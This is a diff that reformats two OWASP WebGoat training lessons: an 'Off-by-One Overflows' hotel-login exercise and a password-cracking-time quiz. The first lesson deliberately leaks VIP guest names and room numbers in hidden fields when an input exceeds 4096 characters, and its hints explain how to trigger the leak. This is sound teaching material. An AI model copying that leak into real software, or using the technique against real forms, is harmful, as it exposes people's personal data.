a/src/main/java/org/owasp/webgoat/lessons/OffByOne.java +++ b/src/main/java/org/owasp/webgoat/lessons/OffByOne.java @@ -51,480 +51,480 @@ import org.owasp.webgoat.session.WebSession; */ public class OffByOne extends LessonAdapter { - private final static String[] price_plans = { "$1.99 - 1 hour ", "$5.99 - 12 hours", "$9.99 - 24 hours"}; - - private final static String ROOM_NUMBER = "room_no"; + private final static String[] price_plans = { "$1.99 - 1 hour ", "$5.99 - 12 hours", "$9.99 - 24 hours"}; + + private final static String ROOM_NUMBER = "room_no"; - private final static String FIRST_NAME = "first_name"; - - private final static String LAST_NAME = "last_name"; - - private final static String PRICE_PLAN = "price_plan"; - - private final static IMG LOGO = new IMG("images/logos/seleucus.png").setAlt("Seleucus Ltd") - .setBorder(0).setHspace(0).setVspace(0); - - /** - *

The main method for creating content, implemented - * from the the LessonAdapter class.

- * - *

This particular "Off-by-One" lesson belonging in - * the category of "Buffer Overflows" carries three - * steps.

- * - * @param s - * WebSession - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); + private final static String FIRST_NAME = "first_name"; + + private final static String LAST_NAME = "last_name"; + + private final static String PRICE_PLAN = "price_plan"; + + private final static IMG LOGO = new IMG("images/logos/seleucus.png").setAlt("Seleucus Ltd") + .setBorder(0).setHspace(0).setVspace(0); + + /** + *

The main method for creating content, implemented + * from the the LessonAdapter class.

+ * + *

This particular "Off-by-One" lesson belonging in + * the category of "Buffer Overflows" carries three + * steps.

+ * + * @param s + * WebSession + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); - try - { - if(isFirstStep(s)) - { - ec.addElement(makeFirstStep(s)); - } - else - { - if (isSecondStep(s)) - { - ec.addElement(makeSecondStep(s)); - } - else - { - ec.addElement(makeThirdStep(s)); - } - } - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - - return (ec); - } + try + { + if(isFirstStep(s)) + { + ec.addElement(makeFirstStep(s)); + } + else + { + if (isSecondStep(s)) + { + ec.addElement(makeSecondStep(s)); + } + else + { + ec.addElement(makeThirdStep(s)); + } + } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return (ec); + } - /** - *

Returns the Buffer Overflow category for this - * lesson.

- * - * @return The category value - */ - protected Category getDefaultCategory() - { - return Category.BUFFER_OVERFLOW; - } + /** + *

Returns the Buffer Overflow category for this + * lesson.

+ * + * @return The category value + */ + protected Category getDefaultCategory() + { + return Category.BUFFER_OVERFLOW; + } - /** - *

Returns the hints as a List of Strings - * for this lesson.

- * - * @return The hints values - */ - public List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("While registering for Internet usage, see where else your details are used during the registration process."); - hints.add("See which fields during the registration process, allow for really long input to be submitted."); - hints.add("Check for hidden form fields during registration"); - hints.add("Typically, web-based buffer overflows occur just above the value of 2 to the power of a number. E.g. 1024 + 1, 2048 + 1, 4096 + 1"); - hints.add("Overflow the room number field with 4096+1 characters and look for hidden fields"); - hints.add("Enter the VIP name in the first and last naem fields"); - return hints; - } + /** + *

Returns the hints as a List of Strings + * for this lesson.

+ * + * @return The hints values + */ + public List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("While registering for Internet usage, see where else your details are used during the registration process."); + hints.add("See which fields during the registration process, allow for really long input to be submitted."); + hints.add("Check for hidden form fields during registration"); + hints.add("Typically, web-based buffer overflows occur just above the value of 2 to the power of a number. E.g. 1024 + 1, 2048 + 1, 4096 + 1"); + hints.add("Overflow the room number field with 4096+1 characters and look for hidden fields"); + hints.add("Enter the VIP name in the first and last naem fields"); + return hints; + } - /** - *

Get the default ranking within the "Buffer - * Overflow" category.

- * - *

Currently ranked to be the first lesson in - * this category.

- * - * @return The value of 5 as an Integer Object - */ - protected Integer getDefaultRanking() - { - return new Integer(5); - } + /** + *

Get the default ranking within the "Buffer + * Overflow" category.

+ * + *

Currently ranked to be the first lesson in + * this category.

+ * + * @return The value of 5 as an Integer Object + */ + protected Integer getDefaultRanking() + { + return new Integer(5); + } - /** - *

Gets the title attribute for this lesson.

- * - * @return "Off-by-One Overflows" - */ - public String getTitle() - { - return ("Off-by-One Overflows"); - } + /** + *

Gets the title attribute for this lesson.

+ * + * @return "Off-by-One Overflows" + */ + public String getTitle() + { + return ("Off-by-One Overflows"); + } - /** - * yada, yada... - */ - public Element getCredits() - { - return super.getCustomCredits("Created by Yiannis Pavlosoglou ", LOGO); - } - - /** - *

Based on the parameters currently with values, this method - * returns true if we are in the first step of this lesson.

- * - * @param s - * @return true if we are in the first step of the lesson. - */ - protected boolean isFirstStep(WebSession s) - { - String room = s.getParser().getRawParameter(ROOM_NUMBER, ""); - String name = s.getParser().getRawParameter(FIRST_NAME, ""); - String last = s.getParser().getRawParameter(LAST_NAME, ""); - - return (room.isEmpty() && name.isEmpty() && last.isEmpty() ); - } - - /** - *

Based on the parameters currently with values, this method - * returns true if we are in the second step of this lesson.

- * - * @param s - * @return true if we are in the second step of the lesson - */ - protected boolean isSecondStep(WebSession s) - { - String price = s.getParser().getRawParameter(PRICE_PLAN, ""); + /** + * yada, yada... + */ + public Element getCredits() + { + return super.getCustomCredits("Created by Yiannis Pavlosoglou ", LOGO); + } + + /** + *

Based on the parameters currently with values, this method + * returns true if we are in the first step of this lesson.

+ * + * @param s + * @return true if we are in the first step of the lesson. + */ + protected boolean isFirstStep(WebSession s) + { + String room = s.getParser().getRawParameter(ROOM_NUMBER, ""); + String name = s.getParser().getRawParameter(FIRST_NAME, ""); + String last = s.getParser().getRawParameter(LAST_NAME, ""); + + return (room.isEmpty() && name.isEmpty() && last.isEmpty() ); + } + + /** + *

Based on the parameters currently with values, this method + * returns true if we are in the second step of this lesson.

+ * + * @param s + * @return true if we are in the second step of the lesson + */ + protected boolean isSecondStep(WebSession s) + { + String price = s.getParser().getRawParameter(PRICE_PLAN, ""); - return price.isEmpty(); - } - - /** - *

Method for constructing the first step and returning it as - * an Element.

- * - * @param s - * @return The Element that is the first step. - */ - private Element makeFirstStep(WebSession s) - { - ElementContainer ec = new ElementContainer(); - String param = ""; + return price.isEmpty(); + } + + /** + *

Method for constructing the first step and returning it as + * an Element.

+ * + * @param s + * @return The Element that is the first step. + */ + private Element makeFirstStep(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String param = ""; - // Header - ec.addElement(new StringElement("In order to access the Internet, you need to provide us the following information:")); - ec.addElement(new br()); - ec.addElement(new br()); - ec.addElement(new StringElement("Step 1/2")); - ec.addElement(new br()); - ec.addElement(new br()); - - ec.addElement(new StringElement("Ensure that your first and last names are entered exactly as they appear in the hotel's registration system.")); - ec.addElement(new br()); - ec.addElement(new br()); + // Header + ec.addElement(new StringElement("In order to access the Internet, you need to provide us the following information:")); + ec.addElement(new br()); + ec.addElement(new br()); + ec.addElement(new StringElement("Step 1/2")); + ec.addElement(new br()); + ec.addElement(new br()); + + ec.addElement(new StringElement("Ensure that your first and last names are entered exactly as they appear in the hotel's registration system.")); + ec.addElement(new br()); + ec.addElement(new br()); - // Table - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + // Table + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - if (s.isColor()) - { - t.setBorder(1); - } - - // First Name - try { - param = s.getParser().getStrictAlphaParameter(FIRST_NAME, 25); - } catch (ParameterNotFoundException e) { - param = ""; - } catch (ValidationException e) { - param = ""; - } - Input input = new Input(Input.TEXT, FIRST_NAME, param); + if (s.isColor()) + { + t.setBorder(1); + } + + // First Name + try { + param = s.getParser().getStrictAlphaParameter(FIRST_NAME, 25); + } catch (ParameterNotFoundException e) { + param = ""; + } catch (ValidationException e) { + param = ""; + } + Input input = new Input(Input.TEXT, FIRST_NAME, param); - TR tr = new TR(); - tr.addElement(new TD().addElement("First Name: ")); - tr.addElement(new TD().addElement(input)); - tr.addElement(new TD().addElement("*")); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - // Last Name - try { - param = s.getParser().getStrictAlphaParameter(LAST_NAME, 25); - } catch (ParameterNotFoundException e) { - param = ""; - } catch (ValidationException e) { - param = ""; - } - input = new Input(Input.TEXT, LAST_NAME, param); + TR tr = new TR(); + tr.addElement(new TD().addElement("First Name: ")); + tr.addElement(new TD().addElement(input)); + tr.addElement(new TD().addElement("*")); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Last Name + try { + param = s.getParser().getStrictAlphaParameter(LAST_NAME, 25); + } catch (ParameterNotFoundException e) { + param = ""; + } catch (ValidationException e) { + param = ""; + } + input = new Input(Input.TEXT, LAST_NAME, param); - tr = new TR(); - tr.addElement(new TD().addElement("Last Name: ")); - tr.addElement(new TD().addElement(input)); - tr.addElement(new TD().addElement("*")); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - // Room Number - try { - param = s.getParser().getStrictAlphaParameter(ROOM_NUMBER, 25); - } catch (ParameterNotFoundException e) { - param = ""; - } catch (ValidationException e) { - param = ""; - } - input = new Input(Input.TEXT, ROOM_NUMBER, param); + tr = new TR(); + tr.addElement(new TD().addElement("Last Name: ")); + tr.addElement(new TD().addElement(input)); + tr.addElement(new TD().addElement("*")); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Room Number + try { + param = s.getParser().getStrictAlphaParameter(ROOM_NUMBER, 25); + } catch (ParameterNotFoundException e) { + param = ""; + } catch (ValidationException e) { + param = ""; + } + input = new Input(Input.TEXT, ROOM_NUMBER, param); - tr = new TR(); - tr.addElement(new TD().addElement("Room Number: ")); - tr.addElement(new TD().addElement(input)); - tr.addElement(new TD().addElement("*")); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - // Submit - tr = new TR(); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(ECSFactory.makeButton("Submit"))); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - ec.addElement(t); - - // Footer - ec.addElement(new br()); - ec.addElement(new br()); - ec.addElement(new StringElement("* The above fields are required for login.")); - ec.addElement(new br()); - ec.addElement(new br()); - - - return ec; - } - - /** - *

Method for constructing the second step and returning it as - * an Element.

- * - * @param s - * @return The Element that is the second step. - */ - private Element makeSecondStep(WebSession s) - { - ElementContainer ec = new ElementContainer(); - String param = ""; + tr = new TR(); + tr.addElement(new TD().addElement("Room Number: ")); + tr.addElement(new TD().addElement(input)); + tr.addElement(new TD().addElement("*")); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Submit + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(ECSFactory.makeButton("Submit"))); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + ec.addElement(t); + + // Footer + ec.addElement(new br()); + ec.addElement(new br()); + ec.addElement(new StringElement("* The above fields are required for login.")); + ec.addElement(new br()); + ec.addElement(new br()); + + + return ec; + } + + /** + *

Method for constructing the second step and returning it as + * an Element.

+ * + * @param s + * @return The Element that is the second step. + */ + private Element makeSecondStep(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String param = ""; - // Header - ec.addElement(new StringElement("Please select from the following available price plans:")); - ec.addElement(new br()); - ec.addElement(new br()); - ec.addElement(new StringElement("Step 2/2")); - ec.addElement(new br()); - ec.addElement(new br()); - - ec.addElement(new StringElement("Ensure that your selection matches the hours of usage, as no refunds are given for this service.")); - ec.addElement(new br()); - ec.addElement(new br()); + // Header + ec.addElement(new StringElement("Please select from the following available price plans:")); + ec.addElement(new br()); + ec.addElement(new br()); + ec.addElement(new StringElement("Step 2/2")); + ec.addElement(new br()); + ec.addElement(new br()); + + ec.addElement(new StringElement("Ensure that your selection matches the hours of usage, as no refunds are given for this service.")); + ec.addElement(new br()); + ec.addElement(new br()); - // Table - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + // Table + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - if (s.isColor()) - { - t.setBorder(1); - } + if (s.isColor()) + { + t.setBorder(1); + } - - // First Empty Row - TR tr = new TR(); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - // Price Plans - tr = new TR(); - tr.addElement(new TD().addElement("Available Price Plans:")); - tr.addElement(new TD().addElement(ECSFactory.makePulldown(PRICE_PLAN, price_plans, price_plans[2], 1))); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - // Submit - tr = new TR(); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(ECSFactory.makeButton("Accept Terms"))); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - ec.addElement(t); - ec.addElement("\r\n"); + + // First Empty Row + TR tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Price Plans + tr = new TR(); + tr.addElement(new TD().addElement("Available Price Plans:")); + tr.addElement(new TD().addElement(ECSFactory.makePulldown(PRICE_PLAN, price_plans, price_plans[2], 1))); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Submit + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(ECSFactory.makeButton("Accept Terms"))); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + ec.addElement(t); + ec.addElement("\r\n"); - // Hidden Form Fields - param = s.getParser().getStringParameter(LAST_NAME, ""); - Input input = new Input(Input.HIDDEN, LAST_NAME, param); - ec.addElement(input); - ec.addElement("\r\n"); + // Hidden Form Fields + param = s.getParser().getStringParameter(LAST_NAME, ""); + Input input = new Input(Input.HIDDEN, LAST_NAME, param); + ec.addElement(input); + ec.addElement("\r\n"); - param = s.getParser().getStringParameter(FIRST_NAME, ""); - input = new Input(Input.HIDDEN, FIRST_NAME, param); - ec.addElement(input); - ec.addElement("\r\n"); + param = s.getParser().getStringParameter(FIRST_NAME, ""); + input = new Input(Input.HIDDEN, FIRST_NAME, param); + ec.addElement(input); + ec.addElement("\r\n"); - param = s.getParser().getStringParameter(ROOM_NUMBER, ""); - input = new Input(Input.HIDDEN, ROOM_NUMBER, param); - ec.addElement(input); - ec.addElement("\r\n"); + param = s.getParser().getStringParameter(ROOM_NUMBER, ""); + input = new Input(Input.HIDDEN, ROOM_NUMBER, param); + ec.addElement(input); + ec.addElement("\r\n"); - - // Footer - ec.addElement(new br()); - ec.addElement(new br()); - ec.addElement(new StringElement("By Clicking on the above you accept the terms and conditions.")); - ec.addElement(new br()); - ec.addElement(new br()); - - - return ec; - } - - /** - *

Method for constructing the third step and returning it as - * an Element.

- * - * @param s - * @return The Element that is the third step. - */ - private Element makeThirdStep(WebSession s) - { - ElementContainer ec = new ElementContainer(); - String param1 = ""; - String param2 = ""; - String param3 = ""; + + // Footer + ec.addElement(new br()); + ec.addElement(new br()); + ec.addElement(new StringElement("By Clicking on the above you accept the terms and conditions.")); + ec.addElement(new br()); + ec.addElement(new br()); + + + return ec; + } + + /** + *

Method for constructing the third step and returning it as + * an Element.

+ * + * @param s + * @return The Element that is the third step. + */ + private Element makeThirdStep(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String param1 = ""; + String param2 = ""; + String param3 = ""; - // Header - ec.addElement(new StringElement("You have now completed the 2 step process and have access to the Internet")); - ec.addElement(new br()); - ec.addElement(new br()); - ec.addElement(new StringElement("Process complete")); - ec.addElement(new br()); - ec.addElement(new br()); - - ec.addElement(new StringElement("Your connection will remain active for the time allocated for starting now.")); - ec.addElement(new br()); - ec.addElement(new br()); + // Header + ec.addElement(new StringElement("You have now completed the 2 step process and have access to the Internet")); + ec.addElement(new br()); + ec.addElement(new br()); + ec.addElement(new StringElement("Process complete")); + ec.addElement(new br()); + ec.addElement(new br()); + + ec.addElement(new StringElement("Your connection will remain active for the time allocated for starting now.")); + ec.addElement(new br()); + ec.addElement(new br()); - // Table - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + // Table + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - if (s.isColor()) - { - t.setBorder(1); - } + if (s.isColor()) + { + t.setBorder(1); + } - - // First Empty Row - TR tr = new TR(); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - // Price Plans - tr = new TR(); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - // Submit - tr = new TR(); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - ec.addElement(t); - ec.addElement("\r\n"); + + // First Empty Row + TR tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Price Plans + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + // Submit + tr = new TR(); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + tr.addElement(new TD().addElement(" ")); + t.addElement(tr); + + ec.addElement(t); + ec.addElement("\r\n"); - // Hidden Form Fields - param1 = s.getParser().getStringParameter(LAST_NAME, ""); - Input input = new Input(Input.HIDDEN, "a", param1); - ec.addElement(input); - ec.addElement("\r\n"); + // Hidden Form Fields + param1 = s.getParser().getStringParameter(LAST_NAME, ""); + Input input = new Input(Input.HIDDEN, "a", param1); + ec.addElement(input); + ec.addElement("\r\n"); - param2 = s.getParser().getStringParameter(FIRST_NAME, ""); - input = new Input(Input.HIDDEN, "b", param2); - ec.addElement(input); - ec.addElement("\r\n"); + param2 = s.getParser().getStringParameter(FIRST_NAME, ""); + input = new Input(Input.HIDDEN, "b", param2); + ec.addElement(input); + ec.addElement("\r\n"); - param3 = s.getParser().getStringParameter(ROOM_NUMBER, ""); - input = new Input(Input.HIDDEN, "c", param3); - ec.addElement(input); - ec.addElement("\r\n"); + param3 = s.getParser().getStringParameter(ROOM_NUMBER, ""); + input = new Input(Input.HIDDEN, "c", param3); + ec.addElement(input); + ec.addElement("\r\n"); - // And finally the check... - if(param3.length() > 4096) - { - ec.addElement(new Input(Input.hidden, "d", "Johnathan")); - ec.addElement("\r\n"); - ec.addElement(new Input(Input.hidden, "e", "Ravern")); - ec.addElement("\r\n"); - ec.addElement(new Input(Input.hidden, "f", "4321")); - ec.addElement("\r\n"); + // And finally the check... + if(param3.length() > 4096) + { + ec.addElement(new Input(Input.hidden, "d", "Johnathan")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "e", "Ravern")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "f", "4321")); + ec.addElement("\r\n"); - ec.addElement(new Input(Input.hidden, "g", "John")); - ec.addElement("\r\n"); - ec.addElement(new Input(Input.hidden, "h", "Smith")); - ec.addElement("\r\n"); - ec.addElement(new Input(Input.hidden, "i", "56")); - ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "g", "John")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "h", "Smith")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "i", "56")); + ec.addElement("\r\n"); - ec.addElement(new Input(Input.hidden, "j", "Ana")); - ec.addElement("\r\n"); - ec.addElement(new Input(Input.hidden, "k", "Arneta")); - ec.addElement("\r\n"); - ec.addElement(new Input(Input.hidden, "l", "78")); - ec.addElement("\r\n"); - - ec.addElement(new Input(Input.hidden, "m", "Lewis")); - ec.addElement("\r\n"); - ec.addElement(new Input(Input.hidden, "n", "Hamilton")); - ec.addElement("\r\n"); - ec.addElement(new Input(Input.hidden, "o", "9901")); - ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "j", "Ana")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "k", "Arneta")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "l", "78")); + ec.addElement("\r\n"); + + ec.addElement(new Input(Input.hidden, "m", "Lewis")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "n", "Hamilton")); + ec.addElement("\r\n"); + ec.addElement(new Input(Input.hidden, "o", "9901")); + ec.addElement("\r\n"); - s.setMessage("To complete the lesson, restart lesson and enter VIP first/last name"); + s.setMessage("To complete the lesson, restart lesson and enter VIP first/last name"); - } - if (("Johnathan".equalsIgnoreCase(param2) || "John".equalsIgnoreCase(param2) - || "Ana".equalsIgnoreCase(param2) ||"Lewis".equalsIgnoreCase(param2)) - && ("Ravern".equalsIgnoreCase(param1) || "Smith".equalsIgnoreCase(param1) - || "Arneta".equalsIgnoreCase(param1) ||"Hamilton".equalsIgnoreCase(param1))) - { - // :) - // Allows for mixed VIP names, but that's not really the point - makeSuccess(s); - } - - // Footer - ec.addElement(new br()); - ec.addElement(new br()); - ec.addElement(new StringElement("We would like to thank you for your payment.")); - ec.addElement(new br()); - ec.addElement(new br()); - - return ec; - } - + } + if (("Johnathan".equalsIgnoreCase(param2) || "John".equalsIgnoreCase(param2) + || "Ana".equalsIgnoreCase(param2) ||"Lewis".equalsIgnoreCase(param2)) + && ("Ravern".equalsIgnoreCase(param1) || "Smith".equalsIgnoreCase(param1) + || "Arneta".equalsIgnoreCase(param1) ||"Hamilton".equalsIgnoreCase(param1))) + { + // :) + // Allows for mixed VIP names, but that's not really the point + makeSuccess(s); + } + + // Footer + ec.addElement(new br()); + ec.addElement(new br()); + ec.addElement(new StringElement("We would like to thank you for your payment.")); + ec.addElement(new br()); + ec.addElement(new br()); + + return ec; + } + } diff --git a/src/main/java/org/owasp/webgoat/lessons/PasswordStrength.java b/src/main/java/org/owasp/webgoat/lessons/PasswordStrength.java index 4ef440e78..ed9e8ef23 100644 --- a/src/main/java/org/owasp/webgoat/lessons/PasswordStrength.java +++ b/src/main/java/org/owasp/webgoat/lessons/PasswordStrength.java @@ -53,169 +53,169 @@ import org.owasp.webgoat.session.WebSession; public class PasswordStrength extends LessonAdapter { - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); - try - { - if (s.getParser().getStringParameter("pass1", "").equals("0") - && s.getParser().getStringParameter("pass2", "").equals("1394") - && s.getParser().getStringParameter("pass3", "").equals("5") - && s.getParser().getStringParameter("pass4", "").equals("2") - && s.getParser().getStringParameter("pass5", "").equals("41")) - { - makeSuccess(s); - ec.addElement(new StringElement("As a guideline not bound to a single solution.")); - ec.addElement(new BR()); - ec.addElement(new StringElement("Assuming the brute-force power of 1,000,000 hash/second: ")); - ec.addElement(new BR()); - OL ol = new OL(); - ol.addElement(new LI("123456 - 0 seconds (dictionary based, one of top 100)")); - ol.addElement(new LI("abzfez - up to 5 minutes ( 26 chars on 6 positions = 26^6 seconds)")); - ol.addElement(new LI("a9z1ez - up to 40 minutes ( 26+10 chars on 6 positions = 36^6 seconds)")); - ol.addElement(new LI("aB8fEz - up to 16 hours ( 26+26+10 chars on 6 positions = 62^6 seconds)")); - ol.addElement(new LI("z8!E?7 - up to 50 days ( 127 chars on 6 positions = 127^6 seconds)")); - ec.addElement(ol); - } else - { + try + { + if (s.getParser().getStringParameter("pass1", "").equals("0") + && s.getParser().getStringParameter("pass2", "").equals("1394") + && s.getParser().getStringParameter("pass3", "").equals("5") + && s.getParser().getStringParameter("pass4", "").equals("2") + && s.getParser().getStringParameter("pass5", "").equals("41")) + { + makeSuccess(s); + ec.addElement(new StringElement("As a guideline not bound to a single solution.")); + ec.addElement(new BR()); + ec.addElement(new StringElement("Assuming the brute-force power of 1,000,000 hash/second: ")); + ec.addElement(new BR()); + OL ol = new OL(); + ol.addElement(new LI("123456 - 0 seconds (dictionary based, one of top 100)")); + ol.addElement(new LI("abzfez - up to 5 minutes ( 26 chars on 6 positions = 26^6 seconds)")); + ol.addElement(new LI("a9z1ez - up to 40 minutes ( 26+10 chars on 6 positions = 36^6 seconds)")); + ol.addElement(new LI("aB8fEz - up to 16 hours ( 26+26+10 chars on 6 positions = 62^6 seconds)")); + ol.addElement(new LI("z8!E?7 - up to 50 days ( 127 chars on 6 positions = 127^6 seconds)")); + ec.addElement(ol); + } else + { - ec.addElement(new StringElement("How much time you need for these passwords? ")); - ec.addElement(new BR()); - ec.addElement(new BR()); - ec.addElement(new BR()); - Table table = new Table(); - table.addAttribute("align='center'", 0); - TR tr1 = new TR(); - TD td1 = new TD(); - TD td2 = new TD(); - Input input1 = new Input(Input.TEXT, "pass1", ""); - td1.addElement(new StringElement("Password = 123456")); - td2.addElement(input1); - td2.addElement(new StringElement("seconds")); - tr1.addElement(td1); - tr1.addElement(td2); - - TR tr2 = new TR(); - TD td3 = new TD(); - TD td4 = new TD(); - Input input2 = new Input(Input.TEXT, "pass2", ""); - td3.addElement(new StringElement("Password = abzfez")); - td4.addElement(input2); - td4.addElement(new StringElement("seconds")); - tr2.addElement(td3); - tr2.addElement(td4); - - TR tr3 = new TR(); - TD td5 = new TD(); - TD td6 = new TD(); - Input input3 = new Input(Input.TEXT, "pass3", ""); - td5.addElement(new StringElement("Password = a9z1ez")); - td6.addElement(input3); - td6.addElement(new StringElement("hours")); - tr3.addElement(td5); - tr3.addElement(td6); - - TR tr4 = new TR(); - TD td7 = new TD(); - TD td8 = new TD(); - Input input4 = new Input(Input.TEXT, "pass4", ""); - td7.addElement(new StringElement("Password = aB8fEz")); - td8.addElement(input4); - td8.addElement(new StringElement("days")); - tr4.addElement(td7); - tr4.addElement(td8); - - TR tr5 = new TR(); - TD td9 = new TD(); - TD td10 = new TD(); - Input input5 = new Input(Input.TEXT, "pass5", ""); - td9.addElement(new StringElement("Password = z8!E?7")); - td10.addElement(input5); - td10.addElement(new StringElement("days")); - tr5.addElement(td9); - tr5.addElement(td10); - table.addElement(tr1); - table.addElement(tr2); - table.addElement(tr3); - table.addElement(tr4); - table.addElement(tr5); - ec.addElement(table); - ec.addElement(new BR()); - ec.addElement(new BR()); - Div div = new Div(); - div.addAttribute("align", "center"); - Element b = ECSFactory.makeButton("Go!"); - div.addElement(b); - ec.addElement(div); - } - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } + ec.addElement(new StringElement("How much time you need for these passwords? ")); + ec.addElement(new BR()); + ec.addElement(new BR()); + ec.addElement(new BR()); + Table table = new Table(); + table.addAttribute("align='center'", 0); + TR tr1 = new TR(); + TD td1 = new TD(); + TD td2 = new TD(); + Input input1 = new Input(Input.TEXT, "pass1", ""); + td1.addElement(new StringElement("Password = 123456")); + td2.addElement(input1); + td2.addElement(new StringElement("seconds")); + tr1.addElement(td1); + tr1.addElement(td2); + + TR tr2 = new TR(); + TD td3 = new TD(); + TD td4 = new TD(); + Input input2 = new Input(Input.TEXT, "pass2", ""); + td3.addElement(new StringElement("Password = abzfez")); + td4.addElement(input2); + td4.addElement(new StringElement("seconds")); + tr2.addElement(td3); + tr2.addElement(td4); + + TR tr3 = new TR(); + TD td5 = new TD(); + TD td6 = new TD(); + Input input3 = new Input(Input.TEXT, "pass3", ""); + td5.addElement(new StringElement("Password = a9z1ez")); + td6.addElement(input3); + td6.addElement(new StringElement("hours")); + tr3.addElement(td5); + tr3.addElement(td6); + + TR tr4 = new TR(); + TD td7 = new TD(); + TD td8 = new TD(); + Input input4 = new Input(Input.TEXT, "pass4", ""); + td7.addElement(new StringElement("Password = aB8fEz")); + td8.addElement(input4); + td8.addElement(new StringElement("days")); + tr4.addElement(td7); + tr4.addElement(td8); + + TR tr5 = new TR(); + TD td9 = new TD(); + TD td10 = new TD(); + Input input5 = new Input(Input.TEXT, "pass5", ""); + td9.addElement(new StringElement("Password = z8!E?7")); + td10.addElement(input5); + td10.addElement(new StringElement("days")); + tr5.addElement(td9); + tr5.addElement(td10); + table.addElement(tr1); + table.addElement(tr2); + table.addElement(tr3); + table.addElement(tr4); + table.addElement(tr5); + ec.addElement(table); + ec.addElement(new BR()); + ec.addElement(new BR()); + Div div = new Div(); + div.addAttribute("align", "center"); + Element b = ECSFactory.makeButton("Go!"); + div.addElement(b); + ec.addElement(div); + } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } - return (ec); - } + return (ec); + } - /** - * Gets the hints attribute of the HelloScreen object - * - * @return The hints value - */ - public List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Copy the passwords into the code checker."); - return hints; - } + /** + * Gets the hints attribute of the HelloScreen object + * + * @return The hints value + */ + public List getHints(WebSession s) + { + List 